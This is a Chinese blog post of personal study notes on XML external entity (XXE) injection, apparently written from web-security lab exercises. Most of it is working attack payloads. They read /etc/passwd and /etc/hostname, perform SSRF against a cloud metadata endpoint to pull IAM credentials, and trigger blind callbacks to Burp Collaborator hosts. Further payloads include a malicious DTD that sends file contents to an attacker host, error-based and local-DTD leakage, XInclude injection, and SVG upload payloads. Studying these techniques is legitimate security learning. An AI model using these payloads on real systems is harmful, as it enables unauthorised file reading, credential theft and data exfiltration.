XXE注入
现在可能比较少了,现在json比较流行
XML知识:
元素,文本,属性
DTD知识:
元素,属性,实体(内部和外部),命名空间
常见外部实体攻击
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
post中的数据,正常的传输数据
但是如果自己声明外部实体,引用服务器文件,即可任意文件访问
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE s [<!ENTITY hack SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&hack;</productId>
<storeId>1</storeId>
</stockCheck>
已用XXE执行SSRF
和任意文件访问一样的payload SSRF是利用服务器发起的HTTP请求
而任意文件访问没有
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE s [<!ENTITY hack SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck>
<productId>&hack;</productId>
<storeId>1</storeId>
</stockCheck>
盲XXE 经典XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://9pzhq9d13rg4b4k29icckp3at1zrng.burpcollaborator.net">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
参数外部实体(过滤 &)但是这种好像需要在特殊的环境下才行(感觉是配置问题)我用这种参数实体,在外部实体就可以的环境下试验了一下 出现 "Entities are not allowed for security reasons"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://ydfen537qzvdz6lwi5v410tff6lw9l.burpcollaborator.net">%xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
盲XXE外带数据
恶意 .dtd 文件将读取的文件以传参的方式传到攻击者的服务器
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
参数实体嵌套定义需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。
第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。
盲XXE之错误消息泄露数据
恶意 .dtd 文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0af800cc04ebc621c2be42f401ef00fe.exploit-server.net/exploit.dtd"> %xxe;]>
盲XXE之本地文件利用(如果目标不出网,或者有某限制不能使用外部dtd实体,这时可以尝试使用本地的dtd实体,就是把dtd的语句写在靶机里。)(比较难,因为需要去分析环境的系统环境,本地含有的dtd文件及变量)
实体三级嵌套
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> //要被重写的.dtd文件
<!ENTITY % custom_entity ' //要被重写的实体
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
XXE注入之 include(命名空间的利用)
原本post 数据
productId=1&storeId=1
看不出来是XXE,这类似SQL注入将恶意的XML语句拼接到里边
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
XXE注入之图像文件上传
SVG木马
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
svg木马
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text>
</svg>
标签:文件,XXE,外部,实体,dtd,xxe,注入
From: https://www.cnblogs.com/yhchen-blogs/p/16989088.html